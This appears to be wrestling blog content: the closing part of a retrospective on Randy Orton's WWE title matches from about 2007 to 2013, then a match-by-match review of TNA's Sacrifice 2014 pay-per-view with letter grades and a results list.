Orton rolls to the floor so HHH and Cena can slug it out in the middle of the ring. The fans boo Cena’s punches and cheer HHH’s, continuing a trend for whomever Cena is facing. Cena slams HHH down and hits the Shuffle but Cena’s FU is countered into a Pedigree attempt which is countered into an STFU attempt this HHH escapes. The spinebuster puts John down and there’s the Pedigree, but Orton comes back in with the Punt to HHH to knock him silly and Orton pins Cena to retain.

Rating: B. This was a fast paced match with all three guys working hard out there in front of a huge crowd. The back and forth stuff worked very well and it wasn’t clear who was going to win until the match was over. Orton getting beaten up and winning while stealing HHH’s pin is perfect for him, as well as giving him the big win on the big stage that he needed.

We’ll jump ahead again due to HHH vs. Orton in 2008 being AWFUL and HHH vs. Orton continuing to be AWFUL in 2009, because those two just had to face each other forever in the main event. We’ll head to Hell in a Cell 2009 as Orton has finally moved over to feuding with John Cena forever instead of HHH FOREVER.

Raw World Title: John Cena vs. Randy Orton

Orton gets a small face pop again. All right I’ll say it: I love Cena’s theme song and I sing along at times. Cena is champion here and this is Orton’s last shot allegedly. This is the first ever Cell match that HHH or Taker weren’t in. That’s saying a lot when you think about it. Orton takes over early and is in control. King offers analysis of what’s going on. Why? He’s never been in one of these things so what kind of knowledge can he have of them?

Crowd is TOTALLY behind Orton here. They’re 3 minutes in and they’ve used the cage FAR more than Taker and Punk did, which isn’t saying much at all really but whatever. They’re using the cage to jump up higher for kicks and getting slammed into it a bit, but the problem is you could use the posts or the apron for everything they’re doing.

The best version ever of the match was Shawn vs. Taker, as Shawn was scared to death of him and couldn’t get out. He was trapped in a nightmare with the devil. That’s the idea of the match. Instead here it’s just a hardcore match in a cage. Now to be fair, just about every match ever in the Cell is like that anymore so it’s hardly a problem that just this match is having.

Cena blocks the elevated DDT onto the steps. No one is keeping control for more than just a little bit which I’m not sure if I like or not. They’re just standing around in a match that’s supposed to be all about violence. What sense does something like that even begin to make? Cena begins his comeback with his usual stuff and I have zero clue why this is in the Cell.

The elevated DDT hits after Orton takes over. The FU gets two and we’re in the kicking out of finishers segment already. Shockingly, an Orton match is going VERY slowly. Orton hits Cena in the neck with a chair! Hey kids! Hit someone in the neck with a chair! It’s on a PG show so it’s all good. Orton has demons? Cool.

I wonder if Vince tells the camera guys to focus on Orton when he’s in crazy mode as it looks like he’s orgasming or something like that. Cena works the knee for like two seconds and Orton tries to get out of the STFU. He gets it again for the tap but the referee was knocked down. What a shame!

RKO gets two. Orton ties Cena up in the ropes for no adequately explored reason. In something that I laughed out loud at, he uses a chinlock while Cena is tied in the ropes. Seriously, why am I not surprised? Orton lets go for no adequately explored reason. He punts Cena and wins the title. The 4 seconds of knee work Cena did earlier was the explanation of why Orton’s punt didn’t put Cena on the shelf. That’s just freaking stupid but whatever.

Rating: D. Again, for a Cell match, this was awful but for a regular match this would have been ok. The Cell use here was better than in the Taker match, but at the same time there just isn’t enough here to validate having the Cell being in play here.

Also having seen it earlier in the night it makes it seem FAR less interesting. The psychology was more or less nonexistent here too. Overall just not good. Keep in mind: had this been a street fight or whatever, it’s probably a B. As for a Cell match though which it was, this was awful.

We’ll skip over 2010 to avoid Nexus, even though face Orton won another World Title at Night of Champions. Instead we’ll move ahead to Wrestlemania 27 and the apex of Orton’s feud with CM Punk and his New Nexus.

Randy Orton vs. CM Punk

The cylinder from last year is now a cube which still has the videos playing on them. Orton immediately takes it to the floor and pounds away, but Punk jumps over the steps and kicks them into Orton’s knees. Back in and Orton stays on the knees for a quick two count. Punk of course mocks the knee injury before stomping at the legs even more. Randy grabs a quick backbreaker but Punk comes back with a kind of Stunner to the leg for two.

Punk hits the running knee in the corner but Orton falls down before he can hit the bulldog. The straightedge one stays on the knee and puts Orton in the Tree of Woe. In a cool bit, Orton tries to pull himself up but Punk drops a top rope knee to take Randy right back down. The GTS is countered but Punk breaks up the RKO with a high kick for two. Punk loads up the Macho Elbow but Orton crotches him down instead. A superplex puts Punk down but the cover is very delayed and only gets two.

Punk wraps the knee around the post a few times and Orton is in big trouble. Off to a modified Indian deathlock for a bit but Orton fights back and slugs Punk down to take over. Punk comes back with a basic kick to the knee and there’s the Anaconda Vice. Orton rolls over and the fans never once seemed nervous about a tap out. CM heads out to the apron and is rammed into the post, followed by the Elevated DDT. Orton loads up the Punt but the knee gives out. Punk heads to the outside and loads up the springboard clothesline but dives right into the RKO for the pin by Randy.

Rating: B. Good solid match here which should have been the end of the feud, but since this is WWE, there was a gimmick rematch the next month because that’s how WWE books feuds. You know, because WRESTLEMANIA isn’t good enough to end a story at. Anyway, very good match here between two guys with solid chemistry together.

Just over a month later, Orton would jump to Smackdown and receive a World Title shot on his first night on the show against new champion Christian.

Smackdown World Title: Randy Orton vs. Christian

This show has flown by it seems. Regarding Christian’s pop, in the words of Riddler from Batman Forever, “Your entrance was good, his was better.” Headlock by Orton to start but Christian gets a shoulder for two. Orton hammers away and the crowd eats it up with a spoon like soup or Jello or pork or other things eaten with a spoon. The champ sends him to the floor and gets a delayed baseball slide to take Orton down, only to be taken down as well as we take a break.

Back in the ring with Orton in total control. Orton works on the ribs and gets a reverse waistlock (looks like he’s about to hit a German) which looks like the cover of a very freaky Christmas card. They hit the floor via a Cactus Clothesline by Orton as we take break #2. Back with Christian holding a chinlock for only a few seconds. Orton gets a belly to back and both guys are down.

They slug it out a bit and Orton hits that gorgeous dropkick to put Christian down. He goes all psycho but Christian gets the pendulum kick in the corner and a middle rope missile dropkick for two. Guillotine over the top sets up a cross body off the top for two for Christian. Fans are way into this. Middle rope elbow (love that move still) hits and let the clapping begin!

For some reason Christian charges at him and gets caught by a powerslam for two. Christian slides to the floor to try a right hand to Randy as he’s in a 619 position but Orton avoids it to hit the elevated DDT for two. Angle Slam is countered into a reverse DDT for two. Slam hits this time and it’s RKO time. Since it’s the first attempt it’s countered as is the Killswitch. Christian goes to the middle rope and tries a spinning something off of it, proving why he’s an idiot as YOU DON’T JUMP AT ORTON! RKO ends the 5 day reign at 10:08 shown of 17:08.

Rating: B. Good match here and Christian definitely looked strong throughout. People are going to complain about the reign looking bad due to it being too short, but at the same time he had two matches and this was by far the weaker one and this was a very good TV match. Orton is a far bigger star and Christian got the reign that everyone wanted him to get. The fanboys will be up in arms over it, but you have to just ignore them as they’ll never be pleased. He got his title, he got his moment, he had two great matches and lost it. No harm no foul in my eyes.

Again we’ll skip 2012 which had almost nothing interesting for the most part as Orton would feud with Ziggler, Del Rio, and the Wellness Policy. Orton would eventually feud with Shield alongside Sheamus and Big Show. The trio would be beaten by Shield at Wrestlemania XXIX, so Orton and Sheamus squared off on Raw the next night. This was nothing short of bizarre and warrants inclusion.

Sheamus vs. Randy Orton

They shove each other to start and the fans do an OLE chant. Orton hits a snapmare but Sheamus avoids a knee drop. Sheamus hits a pair of knees for his own for two and starts working on the arm. Orton comes back with another knee to the chest as the match keeps going. Randy hooks a chinlock as the fans think a four minutes old match is boring.

Now Sheamus hooks a chinlock as the announcers talk about going to London in a few weeks for Raw. Now the fans chant for Rob Van Dam. Now it’s HBK. Orton slowly stomps away as the match is completely ignored. The fans are now chanting for JBL as Sheamus gets two off the rolling fireman’s carry. Sheamus goes up top and the fans chant for Lawler. This is BIZARRE. Orton dropkicks Sheamus out of the air and now they’re chanting Cole as we take a break.

Back with the fans chanting what sounded like DDP and then ECW as Sheamus makes a comeback. The Irish Curse hits for two as the crowd is doing the Wave. JBL: “I wish Michael would drown in it.” Sheamus hits his knee to the ribs and the ten forearms in the ropes as the fans suddenly start cheering along. A suplex brings Orton back in as Sheamus is smiling. Orton’s backbreaker puts Sheamus as we get a Randy Savage chant. Even the announcers are giving up at this point.

The powerslam and t-bone suplex put Sheamus down as the HBK chant starts again. There’s the Elevated DDT and Orton loads up the RKO, only to be shoved off into White Noise. I think the fans are booing Sheamus but how can you tell in this match? The Brogue Kick misses and here comes Big Show as I think everyone knew was about to happen. He throws Sheamus into the post, presumably ending the match at 15:10. Fans: “Thank you Big Show.”

Rating: N/A. I have almost no idea what happened in this match but the crowd stole the show here. The thing I don’t get is that while the match was slow paced, it wasn’t THAT bad. This is a case where the fans just did not care what was going on and found ways to entertain themselves. I’ve never seen anything like this but it was awesome in a way. For an actual grade, we’ll go roughly C- or so.

We’ll head back to reality now as Orton is in the Money in the Bank match at the PPV of the same name.

CM Punk vs. Rob Van Dam vs. Christian vs. Sheamus vs. Daniel Bryan vs. Randy Orton

RVD, Bryan and Punk get good reactions but the fans aren’t impressed with the others. Everyone goes after RVD to start and knock him to the floor. The remaining four go after Sheamus before pairing off themselves. We’re quickly down to Bryan vs. Punk and the fans go nuts in a hurry. Van Dam is knocked off the apron and into a ladder as the two stars go at it. Bryan almost botches the backflip but counters the GTS into a YES Lock attempt, only to have everyone not named RVD make the save with a ladder.

Van Dam is back in now to clean house and pose a bit. Some baseball slides drop Punk and Sheamus before Rob drops Christian onto a ladder. Rolling Thunder onto Bryan onto the ladder takes Daniel out but it’s Orton sending Van Dam to the floor. Rob kicks him down and loads up the Five Star onto Orton onto the ladder but Christian breaks it up with a short ladder. Christian loses a fight to Sheamus over a full sized ladder but Van Dam breaks up the pale one’s climb with Sheamus landing on the ladder on the way down.

Sheamus is up almost immediately and rams various people into the barricade before bridging a ladder between the apron and the announce table. Bryan escapes a powerbomb through the ladder and hits a running knee to the face from the apron. Punk is loading up a ladder but Orton makes the save. Another ladder is brought in and all six climb up on two ladders with the briefcase being knocked away. All six fall down and Orton is holding his knee.

It’s Sheamus on his feet first and cleaning house before going up, only to be caught by Bryan. We get the ten forearms on the top of the ladder but Punk stops Sheamus from pulling down the case. Sheamus and Punk slug it out in the corner but Punk hits the running knee to take him down, followed by riding the ladder down onto his back. Orton comes back in and suplexes Punk into the ladder followed by the Elevated DDT.

Christian comes back in and spears Randy down but Van Dam knocks him off the ladder. The fans of course want tables as Christian goes up again. Van Dam is cut on the forehead. They both go up but Van Dam jumps to another ladder as Christian falls. The splash off the top of the ladder crushes Christian but Sheamus shoves Rob off the ladder. Bryan is back in to kick both of them before going into his usual insane rush.

He throws Sheamus THROUGH a ladder and goes up top…..but Curtis Axel of all people comes out with a chair to beat him down. He lays Bryan out with his finisher on the floor but walks into a GTS. Heyman comes out to yell at Axel because he wants Punk to win. CM starts a very slow climb while holding his neck….and Heyman of course screws him by ramming another ladder into him. Punk is busted open BAD and here’s Van Dam going up the ladder, only to have Orton make the save with an RKO. Orton pulls down the case to win at 26:31.

Rating: B-. Well that happened. Seriously that’s about all there is to it. Everyone was about the same but the winner wasn’t terribly obvious for most of the match. It wasn’t bad or anything but you expect more when you have this level of talent in the match. At the end of the day though there was no hatred between these guys and that makes for a duller match. The Heyman stuff was pretty obvious but it sets up Lesnar vs. Punk at Summerslam.

Orton would cash in at Summerslam and turn heel in the process. This would make him champion heading into the end of the year, where he would feud with Cena to be unified champion. The unification match was held at TLC 2013.

WWE World Heavyweight Championship: Randy Orton vs. John Cena

TLC match, winner take all. They have a ton of time to used for this too. Naturally we get big match intros and we’re ready to go. They head into the corner to start and Cena grabs a headlock. The wrestling gets boring though and we get our first ladder and table with the wooden one being set up in the corner. Orton escapes an AA through the table and heads to the floor for a chair. Cena can’t avoid the shot to the back and Randy is in control.

They head outside again but Orton misses a chair shot and hits the post, allowing Cena to pick up the chair. A series of chair shots puts Orton down and John loads up another table on the floor. The distraction lets Orton send him into the steps to take over again as the dueling Cena chants begin. Orton tries to climb but Cena makes a fast save. The ladder is thrown to the floor and Orton headbutts him down. Some kicks to the ribs have Cena in trouble but he comes back with knees and right hands, only to walk into the powerslam.

Randy brings in another ladder but gets it rammed into his ribs, allowing Cena to climb. Orton quickly suplexes him down but misses a ladder shot, sending the ladder to the floor. That’s fine with Orton though as he cracks Cena in the back with a chair before wedging it into the corner. Cena blocks the shot into the chair and comes back with his finishing sequence, only to have Orton poke him in the eye and send him into the chair. Another ladder is brought in but Cena makes yet another save.

They both fight on the ladder until Cena throws Orton over the top and through the table. He can’t climb that fast though and Orton pulls him down for an RKO. Both guys are down again but it’s Cena up first with a clothesline to send him to the floor. Cena blasts Orton in the head with the steps and Randy might be busted a little bit. John brings in another table, giving us two tables in opposite corners. With all of the metal stuff at ringside, Orton hits Cena in the head with the microphone to take over again.

Orton loads up the announce table but instead clears out a path to Cena. John avoids the Punt though and catches Orton in an AA through the table to put both guys down again. Cena very slowly gets back in and grabs both belts without pulling them down. Instead it’s Orton shoving the ladder away to leave Cena hanging, allowing Orton a free shot with the chair. Cena comes right back with a spear through one of the tables and both guys are down again.

Randy heads outside again and starts peeling back the mats to find some hidden handcuffs. Cena gets tied to the bottom rope and Orton teases him with the key. This didn’t work at Breaking Point but call backs to old matches are usually fun. Cena tries to break the chain as Orton goes to pick up the big ladder for some shots to Cena’s ribs.

Randy goes back inside as Cena beats on the cuffs with a chair to no avail. Cena pulls hard enough to rip the bottom rope off and go up to knock Orton off the ladder but he only has one free arm due to the rope. Orton grabs the rope and uses the power of gravity to pull Cena down, sending him head first into the table which DOESN’T BREAK. That looked bad. Orton goes up again and pulls down both titles for the surprise win at 24:35.

Rating: B. I liked the match and the ropes idea was good, but that ending came out of nowhere. Given how badly Cena’s head went into that table, I wouldn’t be shocked if he had an actual injury. Orton winning makes more sense but I’m kind of shocked it was clean. Well as clean as you can get in a TLC match of course. Good stuff here but the ending leaves a lot of doors open.

I’m a big Orton fan and have been for a long time. I know he may not be the most interesting wrestler in the world but the guy is capable of having good matches with almost anyone. Yeah he gets repetitive a lot, but he has an awesome finisher and has figured out his character perfectly. He’ll be around for several more years and will win a ton more World Titles, as he deserves to do.

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Sacrifice 2014: Even The Women Have Beards

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Date: April 27, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

This is one of TNA’s rare PPVs and it’s actually coming on the heels of another. That being said, there’s not a ton of interesting stuff happening in TNA at the moment. The big stories are Bully Ray vs. Bobby Roode in a tables match and Eric Young vs. Magnus II for the World Title, which isn’t doing much for me as a main event feud. Let’s get to it.

The opening video is narrated by Eric Young and talks about how Eric isn’t the typical champion and how he’s doing all of this for the people. Magnus says he’s above Eric and the people and was born to be a champion. TNA actually claiming this isn’t taken from Daniel Bryan makes me chuckle.

Tag Team Titles: Bro Mans/Zema Ion vs. Wolves

It’s three on two with the Bro Mans/Zema defending. They’ve cheated time after time to keep the titles using help from whichever member wasn’t in the match at the time so tonight everyone is in the match at the same time. Before the match Eddie gets on the mic and asks Christy to read something. It’s a note from MVP saying this is now No DQ.

The Wolves clean house to start and low bridge the champions to the floor before LAUNCHING Ion over the top to the floor. Stereo dives take the Bro Mans out again before the Wolves take turns mauling Zema with whatever painful looking strikes they can think of. Ion finally gets in a shot with his laptop to put Eddie down and the champions take over. Davey is dropped throat first onto the barricade as we finally get down to one on one.

Jesse gets two on Edwards off a powerslam before Robbie comes in to choke with some tape. Off to Ion who gets slapped in the face but comes back with a hard elbow to keep Eddie in trouble. Back to Robbie for a chinlock before the champions start double teaming Edwards. A nice dropkick from Jesse gets two but he gets caught in a belly to back suplex. The numbers game keeps the champions in control though as Ion pulls Richards off the apron and prevents a tag.

Back in and Eddie takes both Bro Mans down with a double hurricanrana before the hot tag brings in Richards. Davey cleans house and throws Robbie into Zema for a front facelock (as in Ion has Robbie in the hold) before dropkicking Ion down, forcing him to DDT Robbie at the same time. That was so contrived looking I can’t begin to comprehend it. The Wolves dominate the champions and hit the double double stomp on Jesse for the pin and the titles at 10:15. Tenay’s reaction is as unemotional as I have ever heard for a title change.

Rating: C. Very stupid DDT spot aside, this was a nice choice for an opener. The fans love the Wolves and reacted well enough to the title change, but the impact is kind of lost due to this being the second time they’ve won the belts. The No DQ stipulation wasn’t needed at all here and was only used for the laptop spot, which could have easily been a knee to the back.

Samuel Shaw says he’s a perfectly normal man and will send Anderson to the mental institution tonight.

We recap Samuel Shaw vs. Mr. Anderson. Basically Shaw is nuts and stalked Christy Hemme so Anderson is fighting for her. Shaw’s mom is named Christy and is straight out of a horror movie, offering everyone pie and acting like her son is perfectly normal.

Mr. Anderson vs. Samuel Shaw

Commitment Match, meaning you have to take your opponent outside and put him in a van to win and the loser goes to a mental institution. Shaw runs away from Anderson to start and Christy is at ringside. After hiding behind Christy, Shaw is sent into the post, apron and barricade to give Anderson the early advantage. They head inside with Shaw nailing Anderson in the ribs with a shoulder but missing a charge and falling back to the floor.

Shaw grabs the standing choke on the floor and puts him out in a few moments but now has to drag him to the back. Instead he drags Christy inside and says she’s coming with him whether she likes it or not. Christy slaps him in the face but Shaw seems to like it. The distraction lets Anderson get back up and nail a clothesline and neckbreaker to send Shaw crawling up the aisle. Anderson says no no no and sends him into the barricade before kicking Samuel in the face.

A Mic Check off the stage is countered with some elbows but Anderson hits the rolling fireman’s carry instead. He says Shaw is going for a little ride but first it’s a chair to Shaw’s ribs and back. Anderson whips him into the barricade again and they head into the interview area.

They find JB and Anderson makes him interview Shaw while holding him in a headlock. Shaw is put on a cart and wheeled into some metal boxes as they find the van. The distraction of opening the doors lets Samuel get in a few cheap shots as Christy comes in. She distracts him before hitting Shaw low and there’s a Mic Check to send Shaw into the van for the win at 10:30.

Rating: D+. Well that….happened. I doubt this is the end of the feud because it’s TNA and things don’t end after a few gimmick matches, but there’s no reason for them to keep going. At least Christy didn’t turn on Anderson to side with Shaw like I was expecting, but there’s still time for her to do something stupid like that.

Ethan Carter says he didn’t do anything wrong by beating Kurt Angle because it was all about making a name for himself. Angle has been in the ring with a bunch of legends and won a bunch of titles, but there’s one man that Angle will never ever (repeat about 15 times) and that’s Ethan Carter. Spud doesn’t like Willow either.

Rockstar Spud/Ethan Carter III vs. Willow/Kurt Angle

Carter hides in the ropes to avoid Kurt to start before quickly tagging in Spud. Angle just stares as Spud tries to get fired up before threatening to knock Spud all the way back to England. Back to Carter as we’re over a minute and a half in with no contact. Ethan bails to the floor as the stalling continues. Back in and Angle tries an ankle lock but Carter dives over to tag Spud in. The Englishman goes outside too as we’ve had about 15 seconds of action in three minutes.

Willow gets the tag and dives onto both guys who fail to catch him, allowing Willow to crash onto the floor. He was holding the umbrella at the time so the fans chant Mary Poppins. Angle misses a charge into the steps and Willow has to take both heels down with a Whisper in the Wind back inside. Carter gets in a cheap shot though and Spud hammers away to take over. A snap suplex gets two on Willow as Angle is still down on the floor. I’d guess he’s still hurt given how much he’s been laying around.

The double teaming continues until Angle sneaks in for some rolling Germans on Carter. There’s the ankle lock but Spud tries to make the save with a sleeper. That goes about as well as you would expect and it’s an ankle lock on Spud until Carter chop blocks Kurt down. Willow breaks up a leg lock and cleans house until Spud is left alone in the ring against both good guys. Twist of Fate into the Angle Slam into the Swanton is good for the pin at 9:05.

Rating: D+. This could have closed the first hour of any episode of Impact. Angle isn’t ready to come back full time yet after that knee injury and in that case, he needs to sit down again for awhile. It’s obvious that they’re hiding his condition and that’s fine, but it doesn’t make for interesting matches. I’m assuming Carter doesn’t lose until BFG.

Eric Young loves when the fans cheer for him and he’s not losing the title because it makes him feel too good.

Knux and his girlfriend are coming back to TNA. She says he’ll get all the rebel he can handle, which I think is her name. Knux says there will be two other people joining them: Crazy Steve and the Freak. Rebel isn’t pleased.

Video on Sanada winning the X Title and how important it is in Japan.

X-Division Title: Sanada vs. Tigre Uno

This is the third match in a best of three series for the title. Feeling out process to start and they trade some near falls until it’s a standoff. A hurricanrana puts Tigre down to the floor for a breather before Sanada catches him in a rolling cradle for two. Tigre comes back with a rollup of his own and a kick gets the same. A freaky looking neck lock (think a headscissors on the mat with Tigre cranking on the arm) has Sanada in trouble but he quickly counters into a dragon sleeper.

Tigre escapes again and tries a springboard but gets dropkicked out of the air in a nice counter. Back up and a Jericho springboard dropkick sends Sanada out to the floor. A sloppy flip dive takes out Sanada again but he’s able to get his knees up to block a moonsault back inside.

Sanada hits a pair of springboard chops to the head drops Tigre but he comes back with a release suplex to send Sanada into the ropes. The challenger goes up top but gets pulled down with a top rope hurricanrana. Sanada misses his top rope moonsault and Tigre escapes the dragon suplex. A cradle DDT puts Sanada down again but he avoids a Phoenix Splash, setting up the moonsault to retain the title at 9:40.

Rating: C. Take two guys and let them fly around for a few minutes. They didn’t mean anything at all and it was pretty much every single cruiserweight match ever in WCW that didn’t have Mysterio, Kidman or Guerrera. I also have no idea why this was a best of three series as it meant nothing at all.

James Storm promises to cut Gunner down to size.

We recap the I Quit match. Storm and Gunner randomly teamed up just under a year ago before turning on each other after losing the titles to the Bro Mans. This is I believe their fourth gimmick match of the feud.

James Storm vs. Gunner

I quit match. They slug it out to start with Storm getting the better of it and knocking Gunner out to the floor. Storm whips him into the barricade hard enough to knock it over on top of Gunner. They fight over the steps with Gunner taking over with a hard clothesline. Gunner throws him back inside and finds a trashcan filled with toys. Storm kicks the ropes low into Gunner as they come back inside before an Elevated Stunner (think Orton) but Gunner won’t quit.

A pair of chair shots still won’t make Gunner quit and a cookie sheet still doesn’t do the trick. Storm chokes away in the corner until Guner FINALLY comes back with a running knee to the face to take over. It’s time for the first weapon from Gunner as he grabs a trashcan lid and blasts Storm in the head over and over. Storm finally gets one of his own for a duel but Gunner keeps control.

Gunner nails a swan dive but this time it’s Storm that won’t quit. Instead Gunner tries a charge but goes hard into the post to change control again. Storm sends him into the post one more time and plants Gunner with an Elevated DDT on the floor. Naturally Gunner isn’t ready to quit yet and Storm is getting frustrated.

Storm finds the beer bottle and blasts Gunner in the head to cut him open but of course Gunner won’t quit. Off to a Boston crab of all things but Gunner is quickly in the ropes. Some belt shots to the back have Gunner in trouble and there’s the Last Call to put him down again. He still won’t quit though so Storm just rips at the cut to draw more blood. Gunner rams his own head into the buckle and screams NEVER before hitting three straight F5s.

With nothing else to do, Gunner sets up the two chairs in the ring and bridges the barricade across it. A HUGE superplex puts Storm through the steel and both guys are almost done. Gunner picks up a piece of the beer bottle and drives it into Storm’s head to make him quit at 19:04.

Rating: B-. Now NEVER LET THEM FIGHT AGAIN. Yeah the match wasn’t bad but I just don’t need to see this match ever again. We get it: Gunner can beat James Storm. Now let us find out what he can do against someone else. Gunner getting the spot instead of Young makes more sense, but I guess Young’s goofiness is just better for business. Or something.

Angelina Love says Madison Rayne is a charity case and tonight she’ll win her sixth Knockout Title.

Knockouts Title: Angelina Love vs. Madison Rayne

Madison is defending and quickly knocks Angelina out to the floor with a shoulder. Angelina has a meeting with Velvet Sky and comes back in for a headlock and shoulder of her own. Madison takes her down with a nice trip but can’t use the headscissors face slam into the mat. Instead it’s a baseball slide to send Love back to the floor but she sends a following Rayne face first into the apron.

Back inside and the Beautiful People take turns choking on the ropes and in the corner to little avail. Madison gets a quick sunset flip for two but gets sent to the floor where she beats on Velvet a bit. Back in and the challenger puts on a figure four with her legs in a nice touch. An enziguri puts Love down again though and now the face slam works.

Velvet tries to help her friend but the champ dives on both of them in an awesome visual. They head inside again and it’s the Rayne Drop for two. Angelina’s Botox Injection (Brogue Kick) gets the same and the fit is thrown. Madison comes back with a spear but Velvet sprays her in the eyes with hairspray, allowing Love to roll Rayne up with a handful of tights for the pin and the title at 8:15.

Rating: C-. It’s a Knockouts match so you’ve seen the whole thing before at least a few times. Angelina winning the title again makes sense in storyline terms but it’s still nothing new. I don’t really care about the Beautiful People reunion as it feels like we’ve traveled back in time instead of doing something that might get people to care. That almost never works in wrestling, at least when the past act is the focus.

Bully Ray starts a tables chant and promises to put Bobby Roode through the wood.

We recap Ray vs. Roode, which is fallout from Lockdown where Ray turned on Roode and cost his team the main event. They’ve put each other through tables ever since, setting up this tables match.

Bully Ray vs. Bobby Roode

Tables match. They slug it out to start with the Bully getting the advantage and nailing a nice backdrop. A side slam has Roode in trouble and Bobby is bleeding from the lip. The Flip Flop and Fly has Roode down again and it’s already table time. Ray takes too much time though and Roode gets in a shot to take over. Bobby knocks him off the apron but can’t drive Ray through a table.

Back in and Ray hits a dropkick of all things but takes too much time getting a table, allowing Roode to come back with a nice neckbreaker. Bobby sets up a table in the corner and they fight over a suplex with neither guy being able to pull it off. With that not working, Bobby shoves him into the corner and yells a lot before kicking Ray in the chest. He loads up Ray’s powerbomb but gets backdropped down for his efforts.

Roode snaps Ray’s throat across the top rope but Bully chops the skin off Bobby’s chest back inside. Neither guy can hit a powerbomb through the tables and there goes the referee. Of course now Ray is able to powerbomb Roode through the table with no one seeing it but the fans.

Ray goes to get another table but takes too long, allowing Roode to hit a spinebuster. The Roode Bomb through the table doesn’t work so Bobby goes up, only to dive into the cutter. Ray puts Roode on two tables at ringside before going up top, only to have Dixie Carter in a beard (seriously) appear and shove him through the tables to give Roode the win at 13:55.

Rating: C-. The match wasn’t bad but the ending made my head hurts. As I said earlier, we’ve seen these two put each other through tables for weeks now and seeing it happen again at a bearded Dixie Carter’s hands (I can’t get over that) doesn’t make it any more interesting. It’s just something else that happened and it’s not much to see.

Magnus says that he’ll show Eric Young what a wrestling champion is tonight. He has no backup so he can prove his biggest criticism wrong. Magnus: “You can call me Wreck-It Ralph because there’s no one I’d rather be than me.”

We recap Magnus vs. Eric Young. Eric won a gauntlet match for a shot at the title later in the night where he won the belt in a shocker. Tonight is Magnus’ rematch which is basically people’s champion vs. man destined to be a champion. This gets a music video treatment which is basically a career retrospective for Young.

TNA World Title: Magnus vs. Eric Young

We get the big match intros and Eric is defending. The fans of course chant USA for the Canadian champion. Magnus gets in Young’s face to start and shoves him into the corner as we get a SUPER ERIC chant. Young comes back and takes the Brit down before walking over his spine. Back up and they trade headlocks until Magnus cranks on both of Eric’s arms with a knee in the back. Eric rolls out with ease and Magnus heads outside to think about it.

The champ hits a nice plancha to take Magnus down and the fans chant EY. It’s so nice that we look at it again and the background is missing, so instead of a graphic in the back it’s the same video that is on the mini screen in the replay. Eric dives off the apron into a belly to belly (replay again and this one works) to give Magnus control. Back in and we hit the chinlock on Young followed by a knee that might have been low.

Eric tries to fight back but gets caught in a drop toehold into a camel clutch. We get a light dueling “Let’s Go EY/EY Sucks” chant as Eric fights up and they both hit cross bodies. That works so well that they do it again with clotheslines and both guys are down. Eric wins a slugout and scores with a flying forearm followed by a clothesline. Magnus escapes the piledriver but gets caught in a nice belly to belly. The champion misses a moonsault and gets slammed down, setting up Magnus’ top rope elbow for two.

A wheelbarrow suplex into a neckbreaker puts Magnus down and it’s Eric’s elbow connecting for a near fall. Young still can’t get the piledriver as Magnus counters into a Kingsland Cloverleaf. A rope is quickly grabbed though and it’s Eric putting on a horrible looking Scorpion until Magnus makes the ropes even faster than Eric did. Magnus nails him with a right hand on top and a slam down gets two more. The referee stops Magnus from bringing in a hammer, allowing Eric to connect with the piledriver for an even closer near fall. There’s a second piledriver and the elbow to retain the title at 15:44.

Rating: B-. So I guess Eric is the long term plan because…..well because they’ve tried EVERYTHING else and it hasn’t worked. This was actually far better than I was expecting as they told a decent story, though the ending didn’t really work too well. It’s the match of the night for sure though and a good way to close a show.

Overall Rating: C. This just didn’t do it for me. I see no reason for this to be a PPV and it feels like their old Russo shows: gimmicks added for no reason at all (No DQ in the opener and the van stuff with Anderson vs. Shaw), stories that just keep going (Storm vs. Gunner) and a main event that tried but just didn’t feel like a big match because of who was involved.

It’s not that the show was terrible because it did have its moments, but it’s a reflection on how unappealing TNA really is at the moment. It’s a watchable show and the main event isn’t bad, but it’s nothing worth going out of your way to see. Also, where was Abyss? As in the guy that Impact was built around last week. I’d assume he didn’t make the show because they didn’t have time to figure him in because this show had SO much thought put into it right?

Results
Wolves b. Bro Mans/Zema Ion – Double stomp to Godderz
Mr. Anderson b. Samuel Shaw – Anderson threw Shaw into the van
Willow/Kurt Angle b. Ethan Carter III/Rockstar Spud –
Sanada b. Tigre Uno – Moonsault
Gunner b. James Storm – Storm quit after being cut with a beer bottle
Angelina Love b. Madison Rayne – Rollup with a handful of tights
Bobby Roode b. Bully Ray – Dixie Carter shoved Ray through two tables
Eric Young b. Magnus – Top rope elbow
 

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